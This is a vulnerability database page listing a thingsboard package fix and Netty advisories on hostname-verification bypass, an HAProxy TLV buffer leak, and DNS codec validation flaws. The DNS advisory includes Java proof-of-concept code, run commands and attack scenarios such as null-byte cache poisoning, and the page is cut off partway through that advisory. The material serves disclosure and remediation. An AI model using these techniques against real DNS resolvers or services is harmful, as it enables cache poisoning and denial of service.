Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package thingsboard version 4.2.2.3-r1 fixes 84 vulnerabilities: ghsa-r29c-68gh-xp6x, ghsa-h6fc-48rj-7qqh, ghsa-5m62-pw8w-7w9f, ghsa-gx5v-xp9w-j4cg, ghsa-fv25-8xcx-gqjc...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "thingsboard"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.2.2.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"4.2.2.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package thingsboard version 4.2.2.3-r1 fixes 84 vulnerabilities: ghsa-r29c-68gh-xp6x, ghsa-h6fc-48rj-7qqh, ghsa-5m62-pw8w-7w9f, ghsa-gx5v-xp9w-j4cg, ghsa-fv25-8xcx-gqjc...",
"id": "CLEANSTART-2026-SE70344",
"modified": "2026-08-14T05:57:06Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thingsboard/thingsboard"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in thingsboard 4.2.2.3-r1",
"upstream": [
"ghsa-r29c-68gh-xp6x",
"ghsa-h6fc-48rj-7qqh",
"ghsa-5m62-pw8w-7w9f",
"ghsa-gx5v-xp9w-j4cg",
"ghsa-fv25-8xcx-gqjc",
"ghsa-5mp6-jrq3-r938",
"ghsa-9m89-8frq-c98c",
"ghsa-cm33-6792-r9fm",
"ghsa-f6hv-jmp6-3vwv",
"ghsa-57rv-r2g8-2cj3",
"ghsa-xxqh-mfjm-7mv9",
"ghsa-m4cv-j2px-7723",
"ghsa-v8h7-rr48-vmmv",
"ghsa-38f8-5428-x5cv",
"ghsa-hvcg-qmg6-jm4c",
"ghsa-h2qv-fj59-j46j",
"ghsa-cc37-9q2j-3hfv",
"ghsa-3qp7-7mw8-wx86",
"ghsa-x4gw-5cx5-pgmh",
"ghsa-c653-97m9-rcg9",
"ghsa-6jv9-x5w9-2ccm",
"ghsa-5w86-c3rq-vjj7",
"ghsa-3244-j874-rhc2",
"ghsa-6ghj-frrj-jjj3",
"ghsa-rgrr-p7gp-5xj7",
"ghsa-5xrh-qmmq-w6ch",
"ghsa-45q3-82m4-75jr",
"ghsa-5pvg-856g-cp85",
"ghsa-676x-f7gg-47vc",
"ghsa-xmv7-r254-6q78",
"ghsa-jfg9-48mv-9qgx",
"ghsa-mj4r-2hfc-f8p6",
"ghsa-c2gf-v879-257j",
"ghsa-563q-j3cm-6jxm",
"ghsa-5x3r-wrvg-rp6q",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-jhq6-gfmj-v8fx",
"ghsa-p47f-322f-whfh",
"ghsa-293q-567p-wmwq",
"ghsa-w573-9ffj-6ff9",
"ghsa-vhch-2wf3-m8rp",
"CVE-2026-44891",
"CVE-2026-10532",
"CVE-2026-9828",
"CVE-2026-54515",
"CVE-2026-42583",
"CVE-2026-42579",
"CVE-2026-44893",
"CVE-2026-48059",
"CVE-2026-42584",
"CVE-2026-42587",
"CVE-2026-41417",
"CVE-2026-42580",
"CVE-2026-42581",
"CVE-2026-42585",
"CVE-2026-50020",
"CVE-2026-47244",
"CVE-2026-48043",
"CVE-2026-50560",
"CVE-2026-44248",
"CVE-2026-44250",
"CVE-2026-44890",
"CVE-2026-48006",
"CVE-2026-50011",
"CVE-2026-42586",
"CVE-2026-44249",
"CVE-2026-45416",
"CVE-2026-50010",
"CVE-2026-42578",
"CVE-2026-45674",
"CVE-2026-47691",
"CVE-2026-45673",
"CVE-2026-45536",
"CVE-2026-46340",
"CVE-2026-41293",
"CVE-2026-43512",
"CVE-2026-43515",
"CVE-2026-41284",
"CVE-2026-42498",
"CVE-2026-43513",
"ghsa-q8mj-m7cp-5q26",
"CVE-2026-8723",
"ghsa-h67p-54hq-rp68",
"CVE-2026-53550"
]
}
GHSA-C653-97M9-RCG9
Vulnerability from github – Published: 2026-06-15 20:45 – Updated: 2026-06-15 20:45SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE's internal AbstractTrustManagerWrapper nor Netty's own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm="HTTPS" by default, a client built with SslContextBuilder.forClient().trustManager(somePlainX509TrustManager) performs no hostname verification at all.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-handler"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-50010"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-15T20:45:45Z",
"nvd_published_at": "2026-06-12T16:16:31Z",
"severity": "HIGH"
},
"details": "SimpleTrustManagerFactory.engineGetTrustManagers() and related paths wrap any user-supplied plain X509TrustManager in X509TrustManagerWrapper, which extends X509ExtendedTrustManager but implements the 3-arg checkServerTrusted(chain, authType, SSLEngine) by discarding the SSLEngine and calling the 2-arg delegate. Because the object now IS an X509ExtendedTrustManager, neither SunJSSE\u0027s internal AbstractTrustManagerWrapper nor Netty\u0027s own OpenSslX509TrustManagerWrapper will re-wrap it to add endpoint-identification. Consequently, even though Netty 4.2 sets endpointIdentificationAlgorithm=\"HTTPS\" by default, a client built with `SslContextBuilder.forClient().trustManager(somePlainX509TrustManager)` performs no hostname verification at all.",
"id": "GHSA-c653-97m9-rcg9",
"modified": "2026-06-15T20:45:45Z",
"published": "2026-06-15T20:45:45Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-c653-97m9-rcg9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-50010"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Wrapping plain trust manager silently disables hostname verification"
}
GHSA-CC37-9Q2J-3HFV
Vulnerability from github – Published: 2026-06-08 19:02 – Updated: 2026-06-12 19:29When decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls header.retainedSlice(header.readerIndex(), length) and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.14.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.15.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.134.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-haproxy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.135.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-44893"
],
"database_specific": {
"cwe_ids": [
"CWE-703"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-08T19:02:21Z",
"nvd_published_at": "2026-06-12T15:16:26Z",
"severity": "HIGH"
},
"details": "When decoding a PP2_TYPE_SSL TLV, HAProxyMessage.readNextTLV() first calls `header.retainedSlice(header.readerIndex(), length)` and only then reads the 1-byte client field and 4-byte verify field. If the attacker sets the TLV length below 5, the subsequent readByte/readInt throws IndexOutOfBoundsException. HAProxyMessageDecoder only catches HAProxyProtocolException around this call, so the IOOBE propagates and the retained slice on the pooled cumulation buffer is never released.",
"id": "GHSA-cc37-9q2j-3hfv",
"modified": "2026-06-12T19:29:14Z",
"published": "2026-06-08T19:02:21Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-cc37-9q2j-3hfv"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-44893"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.135.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.15.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty: HAProxy SSL TLV parsing leaks retained slice on invalid TLV length"
}
GHSA-CM33-6792-R9FM
Vulnerability from github – Published: 2026-05-07 00:12 – Updated: 2026-05-14 20:40Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)
1. Vulnerability Summary
| Field | Value |
|---|---|
| Product | Netty |
| Version | 4.2.12.Final (and all prior versions with codec-dns) |
| Component | io.netty.handler.codec.dns.DnsCodecUtil |
| Vulnerability Type | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |
| Impact | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |
2. Affected Components
Both the encoder and decoder in the same file are affected:
io.netty.handler.codec.dns.DnsCodecUtil—encodeDomainName()method (lines 31-51):- No null byte validation in domain name labels
- No per-label length validation (RFC 1035 max: 63 bytes)
- No total domain name length validation (RFC 1035 max: 255 bytes)
-
Empty labels silently truncate the domain name
-
io.netty.handler.codec.dns.DnsCodecUtil—decodeDomainName()method (lines 53-118): - No per-label length validation (max 63)
- No total domain name length validation (max 255)
- Unbounded StringBuilder growth from attacker-controlled DNS responses
3. Vulnerability Description
Netty's DNS codec does not enforce RFC 1035 domain name constraints during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.
3.1 Encoder Side — Null Byte Injection (CWE-626)
A domain name containing a null byte (e.g., "evil\0.example.com") is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:
- Java (full string): sees
"evil\0.example.com"as a single label containing a null - C/native DNS libraries: truncate at the null byte, seeing only
"evil" - DNS servers: may accept or reject based on implementation
This differential interpretation enables DNS cache poisoning and domain validation bypass.
3.2 Encoder Side — Overlength Label (RFC 1035 Violation)
Labels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes 0xC8 (200) as the length. Per RFC 1035, values 192-255 indicate compression pointers. This means:
- A 200-byte label length
0xC8would be interpreted as a compression pointer by standards-compliant DNS parsers - This creates parser confusion between label and pointer interpretation
3.3 Encoder Side — Silent Truncation via Empty Labels
encodeDomainName("a..b.com", buf);
// Encodes as: [01] 'a' [00]
// Only "a." is encoded, ".b.com" is silently dropped!
An attacker can craft input like "safe-domain..evil.com" which gets truncated to just "safe-domain.", potentially bypassing domain allowlists.
3.4 Decoder Side — Unbounded Memory Allocation
The decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.
Root Cause — Encoder
// DnsCodecUtil.java:31-51
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
break; // NO ERROR - silently truncates!
}
// NO check: labelLen > 63
// NO check: label contains null bytes
// NO check: total name > 255 bytes
buf.writeByte(labelLen); // Can write values > 63!
ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!
}
buf.writeByte(0);
}
Root Cause — Decoder
// DnsCodecUtil.java:94-99 (decodeDomainName)
} else if (len != 0) {
if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len <= 63
throw new CorruptedFrameException("truncated label in a name");
}
name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append('.');
// ^^^^^^ StringBuilder grows WITHOUT any length limit
in.skipBytes(len);
}
Missing checks in decoder:
- No if (len > 63) check per RFC 1035 Section 2.3.4
- No if (name.length() > 255) check for total domain name length
4. Exploitability Prerequisites
Encoder Side (outbound)
- An application constructs DNS queries using Netty's DNS codec with user-influenced domain names
- The constructed DNS packets are sent to DNS servers or resolvers
Decoder Side (inbound)
- An application uses Netty's
codec-dnsorresolver-dnsmodule to process DNS responses - The application communicates with a malicious or compromised DNS server
Attack surface: Any Netty application using DNS resolution (DnsNameResolver) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.
5. Attack Scenarios
Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)
String hostname = userInput; // "evil\0.trusted.com"
DnsQuery query = new DefaultDnsQuery(...)
.addRecord(DnsSection.QUESTION,
new DefaultDnsQuestion(hostname, DnsRecordType.A));
The DNS query for "evil\0.trusted.com" may be interpreted by some resolvers as a query for "evil" (truncated at null). If the attacker controls the DNS for "evil", they can return a response that gets cached for "evil\0.trusted.com" (or vice versa), poisoning the cache.
Scenario 2: Label/Pointer Confusion (Encoder)
A 200-byte label writes length byte 0xC8. Standards-compliant parsers interpret 0xC0-0xFF as compression pointer prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:
Byte: [C8] [61 61 61 ... (200 bytes)]
↑
Label interpretation: 200-byte label starting with 'a'
Pointer interpretation: pointer to offset 0x0861 = 2145
Scenario 3: Memory Exhaustion via Large Labels (Decoder)
A malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.
Scenario 4: Domain Truncation via Empty Label (Encoder)
encodeDomainName("safe-domain..evil.com", buf);
// Only "safe-domain." is encoded, "evil.com" silently dropped
This can bypass domain allowlists that check the input string.
Scenario 5: Downstream Processing Failures (Decoder)
Applications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names > 255 bytes, as these systems typically assume RFC 1035 compliance.
6. Proof of Concept
PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsEncoderNullBytePoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Encoder Validation Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method encode = clazz.getDeclaredMethod("encodeDomainName",
String.class, ByteBuf.class);
encode.setAccessible(true);
// Test 1: Null byte in domain name
ByteBuf buf = Unpooled.buffer(256);
encode.invoke(null, "evil\0.example.com", buf);
byte[] bytes = new byte[buf.readableBytes()];
buf.readBytes(bytes);
buf.release();
System.out.print("[TEST 1] Null byte - Encoded: ");
for (byte b : bytes) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Null byte 0x00 in label data!");
// Test 2: 200-byte label
ByteBuf buf2 = Unpooled.buffer(512);
encode.invoke(null, "a".repeat(200) + ".com", buf2);
System.out.println("\n[TEST 2] 200-byte label encoded: " + buf2.readableBytes() + " bytes");
System.out.println("VULNERABLE: Overlength label accepted!");
buf2.release();
// Test 3: Empty label truncation
ByteBuf buf3 = Unpooled.buffer(256);
encode.invoke(null, "a..b.com", buf3);
byte[] bytes3 = new byte[buf3.readableBytes()];
buf3.readBytes(bytes3);
buf3.release();
System.out.print("\n[TEST 3] Empty label - Encoded: ");
for (byte b : bytes3) System.out.printf("%02x ", b & 0xff);
System.out.println("\nVULNERABLE: Domain silently truncated!");
}
}
PoC 2: Decoder Length Bypass (DnsDecoderLengthPoC.java)
import io.netty.buffer.ByteBuf;
import io.netty.buffer.Unpooled;
import java.lang.reflect.Method;
import java.nio.charset.StandardCharsets;
public class DnsDecoderLengthPoC {
public static void main(String[] args) throws Exception {
System.out.println("=== Netty DNS Decoder Length Bypass PoC ===\n");
Class<?> clazz = Class.forName("io.netty.handler.codec.dns.DnsCodecUtil");
Method decode = clazz.getDeclaredMethod("decodeDomainName", ByteBuf.class);
decode.setAccessible(true);
// Test 1: 100-byte label (RFC limit: 63)
ByteBuf buf1 = Unpooled.buffer(256);
buf1.writeByte(100);
buf1.writeBytes("a".repeat(100).getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(3);
buf1.writeBytes("com".getBytes(StandardCharsets.US_ASCII));
buf1.writeByte(0);
String r1 = (String) decode.invoke(null, buf1);
buf1.release();
System.out.println("[TEST 1] 100-byte label: length=" + r1.length() +
" VULNERABLE=" + (r1.length() > 64));
// Test 2: 5 x 60-byte labels = 305 bytes (RFC limit: 255)
ByteBuf buf2 = Unpooled.buffer(512);
for (int i = 0; i < 5; i++) {
buf2.writeByte(60);
buf2.writeBytes(String.valueOf((char)('a'+i)).repeat(60)
.getBytes(StandardCharsets.US_ASCII));
}
buf2.writeByte(0);
String r2 = (String) decode.invoke(null, buf2);
buf2.release();
System.out.println("[TEST 2] 305-byte domain: length=" + r2.length() +
" VULNERABLE=" + (r2.length() > 255));
}
}
How to Compile and Run
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
| grep -v sources | grep -v javadoc | tr '\n' ':')
# Encoder PoC
javac -cp "$JARS" DnsEncoderNullBytePoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsEncoderNullBytePoC
# Decoder PoC
javac -cp "$JARS" DnsDecoderLengthPoC.java
java --add-opens java.base/java.lang=ALL-UNNAMED -cp "$JARS:." DnsDecoderLengthPoC
PoC Execution Output (Verified on Netty 4.2.12.Final)
Encoder PoC:
=== Netty DNS Encoder Validation Bypass PoC ===
[TEST 1] Null byte in domain name
Input: "evil\0.example.com"
Encoded bytes: 05 65 76 69 6c 00 07 65 78 61 6d 70 6c 65 03 63 6f 6d 00
Null byte in label data: true
VULNERABLE: YES - Null byte accepted!
[TEST 2] Label > 63 bytes in encoder
Input: "aaaaaa..." (200-char label)
Encoded bytes: 206
VULNERABLE: YES - Overlength label accepted in encoder!
[TEST 3] Empty labels (consecutive dots)
Input: "a..b.com"
Encoded bytes: 01 61 00
Note: Empty label truncates the name (may lose data)
Decoder PoC:
=== Netty DNS Decoder Length Bypass PoC ===
[TEST 1] Label > 63 bytes (RFC 1035 violation)
Label length: 100 bytes (RFC limit: 63)
Decoded name length: 105
VULNERABLE: YES - Label > 63 bytes accepted!
[TEST 2] Domain > 255 bytes via multiple labels
5 labels x 60 bytes = 300+ bytes total
RFC 1035 limit: 255 bytes
Decoded name length: 305
VULNERABLE: YES - Domain > 255 bytes accepted!
7. Impact Analysis
| Impact Category | Description |
|---|---|
| Integrity | HIGH — Null byte injection causes differential interpretation across DNS implementations |
| Availability | HIGH — Malicious DNS responses can cause unbounded memory allocation via decoder |
| DNS Cache Poisoning | Different parsers see different domain names from the same encoded packet |
| Domain Validation Bypass | Null bytes can bypass allowlist/blocklist checks in DNS proxies |
| Label/Pointer Confusion | Length bytes > 63 conflict with RFC 1035 compression pointer encoding |
| Silent Truncation | Empty labels silently drop the remainder of the domain name |
| Downstream Failures | Oversized domain names may crash certificate validators, URL parsers, or other DNS-aware libraries |
8. Remediation Recommendations
Fix for Encoder (encodeDomainName)
static void encodeDomainName(String name, ByteBuf buf) {
if (ROOT.equals(name)) {
buf.writeByte(0);
return;
}
int totalLength = 0;
final String[] labels = name.split("\\.");
for (String label : labels) {
final int labelLen = label.length();
if (labelLen == 0) {
throw new IllegalArgumentException("DNS name contains empty label: " + name);
}
if (labelLen > 63) {
throw new IllegalArgumentException(
"DNS label length " + labelLen + " exceeds maximum of 63: " + name);
}
for (int i = 0; i < label.length(); i++) {
if (label.charAt(i) == '\0') {
throw new IllegalArgumentException(
"DNS label contains null byte at index " + i);
}
}
totalLength += 1 + labelLen;
if (totalLength > 254) {
throw new IllegalArgumentException(
"DNS name exceeds maximum length of 255: " + name);
}
buf.writeByte(labelLen);
ByteBufUtil.writeAscii(buf, label);
}
buf.writeByte(0);
}
Fix for Decoder (decodeDomainName)
// Add after "} else if (len != 0) {":
if (len > 63) {
throw new CorruptedFrameException("DNS label length " + len + " exceeds maximum of 63");
}
// Add after "name.append(...)":
if (name.length() > 255) {
throw new CorruptedFrameException("DNS domain name length exceeds maximum of 255");
}
9. Resources
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.12.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Alpha1"
},
{
"fixed": "4.2.13.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.132.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-dns"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.133.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42579"
],
"database_specific": {
"cwe_ids": [
"CWE-20",
"CWE-400",
"CWE-626"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T00:12:47Z",
"nvd_published_at": "2026-05-13T19:17:23Z",
"severity": "HIGH"
},
"details": "# Security Vulnerability Report: DNS Codec Input Validation Bypass in Netty (Encoder + Decoder)\n\n## 1. Vulnerability Summary\n\n| Field | Value |\n|-------|-------|\n| **Product** | Netty |\n| **Version** | 4.2.12.Final (and all prior versions with codec-dns) |\n| **Component** | `io.netty.handler.codec.dns.DnsCodecUtil` |\n| **Vulnerability Type** | CWE-20: Improper Input Validation / CWE-626: Null Byte Interaction Error / CWE-400: Uncontrolled Resource Consumption |\n| **Impact** | DNS Cache Poisoning / Domain Validation Bypass / Denial of Service / Malformed DNS Packets |\n\n## 2. Affected Components\n\nBoth the encoder and decoder in the same file are affected:\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `encodeDomainName()` method (lines 31-51):\n - No null byte validation in domain name labels\n - No per-label length validation (RFC 1035 max: 63 bytes)\n - No total domain name length validation (RFC 1035 max: 255 bytes)\n - Empty labels silently truncate the domain name\n\n- `io.netty.handler.codec.dns.DnsCodecUtil` \u2014 `decodeDomainName()` method (lines 53-118):\n - No per-label length validation (max 63)\n - No total domain name length validation (max 255)\n - Unbounded StringBuilder growth from attacker-controlled DNS responses\n\n## 3. Vulnerability Description\n\nNetty\u0027s DNS codec does **not enforce RFC 1035 domain name constraints** during either encoding or decoding. This creates a bidirectional attack surface: malicious DNS responses can exploit the decoder, and user-influenced hostnames can exploit the encoder.\n\n### 3.1 Encoder Side \u2014 Null Byte Injection (CWE-626)\n\nA domain name containing a null byte (e.g., `\"evil\\0.example.com\"`) is encoded with the null byte embedded in the label data. This creates a domain name that different DNS implementations interpret differently:\n\n- **Java (full string)**: sees `\"evil\\0.example.com\"` as a single label containing a null\n- **C/native DNS libraries**: truncate at the null byte, seeing only `\"evil\"`\n- **DNS servers**: may accept or reject based on implementation\n\nThis differential interpretation enables **DNS cache poisoning** and **domain validation bypass**.\n\n### 3.2 Encoder Side \u2014 Overlength Label (RFC 1035 Violation)\n\nLabels exceeding 63 bytes are accepted by the encoder. The length byte is written as a single unsigned byte, so a 200-byte label writes `0xC8` (200) as the length. Per RFC 1035, values 192-255 indicate **compression pointers**. This means:\n\n- A 200-byte label length `0xC8` would be interpreted as a **compression pointer** by standards-compliant DNS parsers\n- This creates **parser confusion** between label and pointer interpretation\n\n### 3.3 Encoder Side \u2014 Silent Truncation via Empty Labels\n\n```java\nencodeDomainName(\"a..b.com\", buf);\n// Encodes as: [01] \u0027a\u0027 [00]\n// Only \"a.\" is encoded, \".b.com\" is silently dropped!\n```\n\nAn attacker can craft input like `\"safe-domain..evil.com\"` which gets truncated to just `\"safe-domain.\"`, potentially bypassing domain allowlists.\n\n### 3.4 Decoder Side \u2014 Unbounded Memory Allocation\n\nThe decoder accepts labels of any length (0-255 bytes) without checking the RFC 1035 per-label limit of 63 bytes or the total domain name limit of 255 bytes. A malicious DNS server can return responses with oversized labels, causing excessive memory allocation.\n\n### Root Cause \u2014 Encoder\n\n```java\n// DnsCodecUtil.java:31-51\nstatic void encodeDomainName(String name, ByteBuf buf) {\n if (ROOT.equals(name)) {\n buf.writeByte(0);\n return;\n }\n final String[] labels = name.split(\"\\\\.\");\n for (String label : labels) {\n final int labelLen = label.length();\n if (labelLen == 0) {\n break; // NO ERROR - silently truncates!\n }\n // NO check: labelLen \u003e 63\n // NO check: label contains null bytes\n // NO check: total name \u003e 255 bytes\n buf.writeByte(labelLen); // Can write values \u003e 63!\n ByteBufUtil.writeAscii(buf, label); // Null bytes pass through!\n }\n buf.writeByte(0);\n}\n```\n\n### Root Cause \u2014 Decoder\n\n```java\n// DnsCodecUtil.java:94-99 (decodeDomainName)\n} else if (len != 0) {\n if (!in.isReadable(len)) { // Only checks if bytes EXIST, not if len \u003c= 63\n throw new CorruptedFrameException(\"truncated label in a name\");\n }\n name.append(in.toString(in.readerIndex(), len, CharsetUtil.UTF_8)).append(\u0027.\u0027);\n // ^^^^^^ StringBuilder grows WITHOUT any length limit\n in.skipBytes(len);\n}\n```\n\n**Missing checks in decoder**:\n- No `if (len \u003e 63)` check per RFC 1035 Section 2.3.4\n- No `if (name.length() \u003e 255)` check for total domain name length\n\n## 4. Exploitability Prerequisites\n\n### Encoder Side (outbound)\n1. An application constructs DNS queries using Netty\u0027s DNS codec with user-influenced domain names\n2. The constructed DNS packets are sent to DNS servers or resolvers\n\n### Decoder Side (inbound)\n1. An application uses Netty\u0027s `codec-dns` or `resolver-dns` module to process DNS responses\n2. The application communicates with a malicious or compromised DNS server\n\n**Attack surface**: Any Netty application using DNS resolution (`DnsNameResolver`) is potentially affected on the decoder side, as DNS responses from the network are attacker-controlled. The encoder side requires user-controlled hostnames.\n\n## 5. Attack Scenarios\n\n### Scenario 1: DNS Cache Poisoning via Null Byte (Encoder)\n\n```java\nString hostname = userInput; // \"evil\\0.trusted.com\"\nDnsQuery query = new DefaultDnsQuery(...)\n .addRecord(DnsSection.QUESTION,\n new DefaultDnsQuestion(hostname, DnsRecordType.A));\n```\n\nThe DNS query for `\"evil\\0.trusted.com\"` may be interpreted by some resolvers as a query for `\"evil\"` (truncated at null). If the attacker controls the DNS for `\"evil\"`, they can return a response that gets cached for `\"evil\\0.trusted.com\"` (or vice versa), poisoning the cache.\n\n### Scenario 2: Label/Pointer Confusion (Encoder)\n\nA 200-byte label writes length byte `0xC8`. Standards-compliant parsers interpret `0xC0-0xFF` as **compression pointer** prefixes (RFC 1035 Section 4.1.4). The resulting DNS packet is structurally ambiguous:\n\n```\nByte: [C8] [61 61 61 ... (200 bytes)]\n \u2191\n Label interpretation: 200-byte label starting with \u0027a\u0027\n Pointer interpretation: pointer to offset 0x0861 = 2145\n```\n\n### Scenario 3: Memory Exhaustion via Large Labels (Decoder)\n\nA malicious DNS server returns a response with a 255-byte label (RFC limit: 63). Netty decodes it without error, creating a 260+ character String. With compression pointers, a small DNS response can cause megabytes of StringBuilder allocation.\n\n### Scenario 4: Domain Truncation via Empty Label (Encoder)\n\n```java\nencodeDomainName(\"safe-domain..evil.com\", buf);\n// Only \"safe-domain.\" is encoded, \"evil.com\" silently dropped\n```\n\nThis can bypass domain allowlists that check the input string.\n\n### Scenario 5: Downstream Processing Failures (Decoder)\n\nApplications that pass decoded domain names to other DNS libraries, certificate validators, or URL parsers may crash or behave incorrectly when receiving names \u003e 255 bytes, as these systems typically assume RFC 1035 compliance.\n\n## 6. Proof of Concept\n\n### PoC 1: Encoder Null Byte and Overlength (DnsEncoderNullBytePoC.java)\n\n```java\nimport io.netty.buffer.ByteBuf;\nimport io.netty.buffer.Unpooled;\nimport java.lang.reflect.Method;\nimport java.nio.charset.StandardCharsets;\n\npublic class DnsEncoderNullBytePoC {\n public static void main(String[] args) throws Exception {\n System.out.println(\"=== Netty DNS Encoder Validation Bypass PoC ===\\n\");\n\n Class\u003c?\u003e clazz = Class.forName(\"io.netty.handler.codec.dns.DnsCodecUtil\");\n Method encode = clazz.getDeclaredMethod(\"encodeDomainName\",\n String.class, ByteBuf.class);\n encode.setAccessible(true);\n\n // Test 1: Null byte in domain name\n ByteBuf buf = Unpooled.buffer(256);\n encode.invoke(null, \"evil\\0.example.com\", buf);\n byte[] bytes = new byte[buf.readableBytes()];\n buf.readBytes(bytes);\n buf.release();\n System.out.print(\"[TEST 1] Null byte - Encoded: \");\n for (byte b : bytes) System.out.printf(\"%02x \", b \u0026 0xff);\n System.out.println(\"\\nVULNERABLE: Null byte 0x00 in label data!\");\n\n // Test 2: 200-byte label\n ByteBuf buf2 = 